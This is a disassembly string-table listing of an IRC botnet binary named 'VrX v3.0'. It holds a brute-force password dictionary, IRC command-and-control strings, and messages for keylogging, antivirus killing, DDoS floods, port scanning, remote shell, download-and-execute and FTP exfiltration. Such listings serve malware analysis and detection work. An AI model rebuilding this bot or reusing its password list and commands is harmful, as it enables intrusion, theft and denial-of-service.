___:0042933Co align 10h aSystem db 'system',0 ; DATA XREF: ___:00429338o align 4 aChangeme db 'changeme',0 ; DATA XREF: ___:00429330o align 4 aLinux db 'linux',0 ; DATA XREF: ___:0042932Co align 4 aUnix db 'unix',0 ; DATA XREF: ___:00429328o align 4 aDemo db 'demo',0 ; DATA XREF: ___:00429324o align 4 aNone db 'none',0 ; DATA XREF: ___:00429320o align 4 aTest db 'test',0 ; DATA XREF: ___:00429318o align 4 a2004 db '2004',0 ; DATA XREF: ___:00429314o align 4 a2003 db '2003',0 ; DATA XREF: sub_41AF2B+BAo ; ___:00429310o align 4 a2002 db '2002',0 ; DATA XREF: ___:0042930Co align 4 a2001 db '2001',0 ; DATA XREF: ___:00429308o align 4 a2000 db '2000',0 ; DATA XREF: ___:00429304o align 4 a1234567890 db '1234567890',0 ; DATA XREF: ___:00429300o align 10h a123456789 db '123456789',0 ; DATA XREF: ___:004292FCo align 4 a12345678 db '12345678',0 ; DATA XREF: ___:004292F8o align 4 a1234567 db '1234567',0 ; DATA XREF: ___:004292F4o a123456 db '123456',0 ; DATA XREF: ___:004292F0o align 4 a12345 db '12345',0 ; DATA XREF: ___:004292ECo align 10h a1234 db '1234',0 ; DATA XREF: ___:004292E8o align 4 a123 db '123',0 ; DATA XREF: ___:004292E4o a12 db '12',0 ; DATA XREF: ___:004292E0o align 10h a1: ; DATA XREF: ___:0040AFBAo ; ___:004292DCo unicode 0, <1>,0 a007 db '007',0 ; DATA XREF: ___:004292D8o aPwd db 'pwd',0 ; DATA XREF: ___:004292D4o aPass db 'pass',0 ; DATA XREF: ___:004292D0o align 4 aPass1234 db 'pass1234',0 ; DATA XREF: ___:004292CCo align 10h aPasswd db 'passwd',0 ; DATA XREF: ___:004292C8o align 4 aPassword db 'password',0 ; DATA XREF: ___:004292C4o align 4 aPassword1 db 'password1',0 ; DATA XREF: ___:004292C0o align 10h aAdm db 'adm',0 ; DATA XREF: ___:004292BCo aDb2 db 'db2',0 ; DATA XREF: ___:00429464o aOracle db 'oracle',0 ; DATA XREF: ___:0042947Co align 10h aDba db 'dba',0 aDatabase db 'database',0 ; DATA XREF: ___:00429444o align 10h aDefault db 'default',0 ; DATA XREF: ___:00429334o aGuest_0 db 'guest',0 ; DATA XREF: ___:0042931Co align 10h aWwwadmin db 'wwwadmin',0 align 4 aTeacher db 'teacher',0 ; DATA XREF: ___:004294C4o aStudent db 'student',0 ; DATA XREF: ___:004294C0o aOwner db 'owner',0 align 4 aComputer db 'computer',0 align 10h aRoot db 'root',0 ; DATA XREF: ___:00429340o align 4 aStaff db 'staff',0 ; DATA XREF: ___:004294C8o align 10h aAdmin db 'admin',0 ; DATA XREF: ___:004292B8o align 4 aAdmins db 'admins',0 ; DATA XREF: ___:004292B4o align 10h aAdministrat db 'administrat',0 ; DATA XREF: ___:004292B0o aAdministrateur db 'administrateur',0 ; DATA XREF: ___:004292ACo align 4 aAdministrador db 'administrador',0 ; DATA XREF: ___:004292A8o align 4 aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:004292A4o align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o align 4 a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_429160o dword_4299D8 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401686o aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 4 dword_429A0C dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040163Bo aServerRunningO db '- Server running on Port: 113.',0 align 4 unk_429A38 db 2Dh ; - ; DATA XREF: ___:0040160Eo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 4 unk_429A78 db 2Dh ; - ; DATA XREF: ___:004015BDo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 dword_429A9C dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: ___:00401582o dd 2E646574h, 0 dword_429AB8 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014ADo dword_429AC4 dd 255C7325h, 73h ; DATA XREF: ___:004013A7o dword_429ACC dd 73257325h, 0 ; DATA XREF: ___:0040132Bo ; sub_410080+EAo ... unk_429AD4 db 3 ; DATA XREF: sub_4017E7+F2o a81VrxConnected db '8,1-VrX- Connected to %s.',0 align 10h aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40194F+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40194F+35o align 4 aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+7D27o align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+7D12o align 4 unk_429B38 db 3 ; DATA XREF: sub_401AC7+7CFEo a81VrxUserSLogg db '8,1-VrX- User: %s logged in.',0 align 4 unk_429B58 db 3 ; DATA XREF: sub_401AC7+7CE1o a81VrxPasswordA db '8,1-VrX- Password accepted.',0 align 4 unk_429B78 db 3 ; DATA XREF: sub_401AC7+7C71o a81VrxFailedHos db '8,1-VrX- *Failed host auth by: (%s!%s).',0 align 4 aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+7C4Eo align 4 unk_429BCC db 3 ; DATA XREF: sub_401AC7+7C13o a81VrxFailedPas db '8,1-VrX- *Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+7C04o ; sub_401AC7+7C62o align 4 aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+7BF0o align 4 asc_429C4C: ; DATA XREF: sub_401AC7+7BC0o unicode 0, <~>,0 unk_429C50 db 3 ; DATA XREF: sub_401AC7+7B6Fo a81VrxRandomNic db '8,1-VrX- Random nick change: %s',0 align 4 unk_429C74 db 3 ; DATA XREF: sub_401AC7+7B07o a81VrxReconnect db '8,1-VrX- Reconnecting in %s seconds',0 align 4 unk_429C9C db 3 ; DATA XREF: sub_401AC7+7AC5o a81VrxReconne_0 db '8,1-VrX- Reconnecting in %s ms',0 unk_429CBC db 3 ; DATA XREF: sub_401AC7+7AA7o a81VrxNickChang db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0 align 10h unk_429CE0 db 3 ; DATA XREF: sub_401AC7+7A8Eo a81VrxJoinedCha db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0 unk_429D00 db 3 ; DATA XREF: sub_401AC7+7A6Eo a81VrxPartedCha db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0 unk_429D20 db 3 ; DATA XREF: sub_401AC7+7A55o a81VrxIrcRawS_ db '8,1-VrX- IRC Raw: %s.',0 align 4 unk_429D38 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_40949Eo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 4 unk_429D64 db 2Dh ; - ; DATA XREF: sub_401AC7+79D0o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 unk_429D88 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_409451o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_429DB0 db 2Dh ; - ; DATA XREF: sub_401AC7+7980o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_401AC7+7966o unk_429DDC db 3 ; DATA XREF: sub_401AC7+7865o a81VrxPrefixCha db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0 align 10h unk_429E00 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_409317o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_429E24 db 2Dh ; - ; DATA XREF: sub_401AC7+7846o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 4 unk_429E44 db 3 ; DATA XREF: sub_401AC7+781Do a81VrxServerCha db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0 align 4 unk_429E68 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_4092C8o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 10h unk_429E90 db 2Dh ; - ; DATA XREF: sub_401AC7+77D3o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 10h unk_429EB0 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_409260o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 10h unk_429EE0 db 2Dh ; - ; DATA XREF: sub_401AC7+778Fo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_429F00 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_409200o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_429F30 db 2Dh ; - ; DATA XREF: sub_401AC7+7732o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 4 dword_429F54 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_401AC7+76F4o dd 27732527h, 2Eh unk_429F70 db 2Dh ; - ; DATA XREF: sub_401AC7+767Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_429F94 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401AC7+760Ao dd 0 unk_429FAC db 2Dh ; - ; DATA XREF: sub_401AC7+75E0o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 4 dword_429FEC dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_401AC7+7571o dd 2Eh dword_42A004 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401AC7:loc_408F8Do dd 746E6573h, 2Eh unk_42A020 db 2Dh ; - ; DATA XREF: sub_401AC7+74BFo db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 10h dword_42A040 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_401AC7+7488o dd 732520h unk_42A058 db 2Dh ; - ; DATA XREF: sub_401AC7+747Ao db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 4 asc_42A084: ; DATA XREF: sub_401AC7+7462o ; sub_410080+FBo ... dw 0Ah unicode 0, <>,0 unk_42A088 db 3 ; DATA XREF: sub_401AC7+743Ao a81VrxReadFileF db '8,1-VrX- Read file failed: %s',0 align 4 unk_42A0A8 db 3 ; DATA XREF: sub_401AC7+7426o a81VrxReadFileC db '8,1-VrX- Read file complete: %s',0 align 4 aUnknowModeType db 'Unknow mode type.',0 ; DATA XREF: sub_401AC7:loc_408E7Co align 10h aFailedToStartL db 'Failed to start logging thread, error: <%d>.',0 ; DATA XREF: sub_401AC7+73ABo align 10h aNormalKeyLogge db 'Normal key logger active.',0 ; DATA XREF: sub_401AC7+7333o align 4 aNormal_0 db 'normal',0 ; DATA XREF: sub_401AC7+72E6o align 4 aKeylogerAlread db 'Keyloger Already running.',0 ; DATA XREF: sub_401AC7+725Fo align 10h aVrxV3_0SitesKe db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401AC7+7232o ; sub_401AC7+72DEo align 4 aKeylog_0 db 'Keylog',0 ; DATA XREF: sub_401AC7+722Do align 4 unk_42A17C db 3 ; DATA XREF: sub_401AC7+720Co a81VrxGethostS_ db '8,1-VrX- Gethost: %s.',0 align 4 unk_42A194 db 3 ; DATA XREF: sub_401AC7+71D1o a81VrxUnableToE db '8,1-VrX- Unable to extract Gethost command.',0 align 4 unk_42A1C4 db 3 ; DATA XREF: sub_401AC7+71B5o a81VrxGethostSC db '8,1-VrX- Gethost: %s, Command: %s',0 align 4 unk_42A1E8 db 3 ; DATA XREF: sub_401AC7+7116o a81VrxAliasAdde db '8,1-VrX- Alias added: %s.',0 align 4 unk_42A204 db 3 ; DATA XREF: sub_401AC7+70D8o a81VrxPrivmsgSS db '8,1-VrX- Privmsg: %s: %s.',0 align 10h unk_42A220 db 3 ; DATA XREF: sub_401AC7+7082o a81VrxActionSS_ db '8,1-VrX- Action: %s: %s.',0 align 4 dword_42A23C dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0 ; DATA XREF: sub_401AC7+7017o dword_42A250 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401AC7+6FDDo ; sub_401AC7+7A60o unk_42A25C db 3 ; DATA XREF: sub_401AC7+6FB1o a81VrxModeChang db '8,1-VrX- Mode change: %s',0 align 4 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+6FA3o align 4 dword_42A284 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401AC7+6F7Ao dd 25203A29h, 73h dword_42A2A0 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401AC7+6F0Fo dd 203A2973h, 7325h dword_42A2BC dd 45444F4Dh, 732520h ; DATA XREF: sub_401AC7+6EBAo dword_42A2C4 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401AC7+6E88o dd 203A2973h, 7325h dword_42A2E0 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401AC7+6E13o dword_42A2EC dd 0A0D7325h, 0 ; DATA XREF: sub_401AC7+6DE1o ; sub_401AC7+6E67o ... dword_42A2F4 dd 54524150h, 732520h ; DATA XREF: sub_401AC7+6DACo dword_42A2FC dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401AC7+6D6Fo aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42A338 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401AC7+6CFEo aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 4 unk_42A364 db 2Dh ; - ; DATA XREF: sub_401AC7+6CA1o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42A3A0 db 2Dh ; - ; DATA XREF: sub_401AC7+6C2Co db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_42A3D4 db 3 ; DATA XREF: sub_401AC7+6BC6o a81VrxRepeatNot db '8,1-VrX- Repeat not allowed in command line: %s',0 align 4 unk_42A408 db 3 ; DATA XREF: sub_401AC7+6B89o a81VrxRepeatS db '8,1-VrX- Repeat: %s',0 align 10h dword_42A420 dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0 ; DATA XREF: sub_401AC7:loc_4085B7o dword_42A434 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401AC7+6AB0o ; sub_401AC7+6B63o ... dword_42A444 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401AC7:loc_408518o aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 4 dword_42A48C dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401AC7+6A47o aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dword_42A4C8 dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401AC7+69D8o aDownloadingUpd db '- Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401AC7+6935o align 10h dword_42A500 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401AC7+68D6o dd 7325203Ah, 0 unk_42A51C db 2Dh ; - ; DATA XREF: sub_401AC7+68CBo db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 10h unk_42A540 db 2Dh ; - ; DATA XREF: sub_401AC7+6831o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0 unk_42A57C db 2Dh ; - ; DATA XREF: sub_401AC7+67BBo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 4 dword_42A5AC dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401AC7:loc_4081BFo ; sub_401AC7:loc_4091C2o unk_42A5B8 db 2Dh ; - ; DATA XREF: sub_401AC7+66E3o db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 unk_42A5DC db 2Dh ; - ; DATA XREF: sub_401AC7:loc_408188o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 4 unk_42A614 db 2Dh ; - ; DATA XREF: sub_401AC7+66B7o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A64C db 2Dh ; - ; DATA XREF: sub_401AC7+6641o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_42A678 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401AC7+65CAo aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0 align 4 dword_42A6B4 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401AC7+655Bo aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 4 unk_42A6E4 db 2Dh ; - ; DATA XREF: sub_401AC7+64E2o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A71C db 2Dh ; - ; DATA XREF: sub_401AC7+646Ao db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A74C db 2Dh ; - ; DATA XREF: sub_401AC7+63E9o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A784 db 2Dh ; - ; DATA XREF: sub_401AC7+6371o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A7B4 db 2Dh ; - ; DATA XREF: sub_401AC7+6301o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A7EC db 2Dh ; - ; DATA XREF: sub_401AC7+6289o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_42A828 db 2Dh ; - ; DATA XREF: sub_401AC7+6219o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0 align 4 dword_42A868 dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401AC7+61AAo aDownloadingUrl db '- Downloading URL: %s to: %s.',0 align 4 unk_42A894 db 2Dh ; - ; DATA XREF: sub_401AC7+60DEo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_42A8D8 db 2Dh ; - ; DATA XREF: sub_401AC7+606Fo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_42A914 db 3 ; DATA XREF: sub_401AC7+5F75o a81Sc@nPortScan db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0 aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401AC7+5EF1o align 4 aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401AC7+5DF7o align 4 dword_42A96C dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401AC7+5D69o ; sub_401AC7+7063o unk_42A978 db 2Dh ; - ; DATA XREF: sub_401AC7+5D0Ao db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42A9B4 db 2Dh ; - ; DATA XREF: sub_401AC7+5C9Bo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 4 unk_42AA04 db 3 ; DATA XREF: sub_401AC7+5C04o ; sub_401AC7+5FE4o a81Sc@nFailedTo db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0 align 4 unk_42AA3C db 3 ; DATA XREF: sub_401AC7+5B95o a81Sc@nSPortSca db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second' db 's for %d minutes using %d threads.',0 align 4 unk_42AAA4 db 3 ; DATA XREF: sub_401AC7+5A1Fo a81Sc@nFailed_0 db '8,1-SC@N- Failed to start scan, no IP specified.',0 align 4 unk_42AAD8 db 3 ; DATA XREF: sub_401AC7+59C2o a81Sc@nFailed_1 db '8,1-SC@N- Failed to start scan, port is invalid.',0 align 4 unk_42AB0C db 2Dh ; - ; DATA XREF: sub_401AC7:loc_407364o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 4 unk_42AB3C db 2Dh ; - ; DATA XREF: sub_401AC7+5896o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401AC7+587Fo aSS_1 db '-s:%s',0 ; DATA XREF: sub_401AC7+5868o align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401AC7+5848o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aAb db 'ab',0 ; DATA XREF: sub_401AC7+5824o align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401AC7+5813o align 4 unk_42ABAC db 2Dh ; - ; DATA XREF: sub_401AC7+57BAo db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 aUpload db 'upload',0 ; DATA XREF: sub_401AC7+5797o align 4 unk_42ABD4 db 3 ; DATA XREF: sub_401AC7+5761o a81Sc@nAlreadyD db '8,1-SC@N- Already %d scanning threads. Too many specified.',0 unk_42AC10 db 2Dh ; - ; DATA XREF: sub_401AC7+5702o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToStar_8 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42AC48 db 2Dh ; - ; DATA XREF: sub_401AC7+5697o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 10h unk_42AC90 db 2Dh ; - ; DATA XREF: sub_401AC7+55E9o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 4 unk_42ACC4 db 2Dh ; - ; DATA XREF: sub_401AC7+55B5o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_42ACF8 db 2Dh ; - ; DATA XREF: sub_401AC7+5591o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 10h unk_42AD30 db 2Dh ; - ; DATA XREF: sub_401AC7+54EFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401AC7+54D2o align 4 unk_42AD84 db 2Dh ; - ; DATA XREF: sub_401AC7+54BDo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42ADBC db 2Dh ; - ; DATA XREF: sub_401AC7+544Eo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 4 unk_42AE04 db 2Dh ; - ; DATA XREF: sub_401AC7:loc_406E6Ao db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 4 unk_42AE3C db 2Dh ; - ; DATA XREF: sub_401AC7+538Ao db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_10 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42AE74 db 2Dh ; - ; DATA XREF: sub_401AC7+5310o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_401AC7+5300o align 10h aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401AC7+52F9o unk_42AEB8 db 2Dh ; - ; DATA XREF: sub_401AC7+5264o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 4 aRandom_0 db 'random',0 ; DATA XREF: sub_401AC7+5254o align 4 aAck db 'ack',0 ; DATA XREF: sub_401AC7+523Do aHcon db 'hcon',0 ; DATA XREF: sub_401AC7+51C9o align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_401AC7+51B6o unk_42AF00 db 2Dh ; - ; DATA XREF: sub_401AC7+5167o db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 4 aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401AC7+50F3o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmail db 'email',0 ; DATA XREF: sub_401AC7+5008o align 4 aTcp db 'tcp',0 ; DATA XREF: sub_401AC7+4FF1o aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401AC7+4FDAo align 4 aVncHttpHostCha db 'VNC: HTTP Host Changed To: %s',0 ; 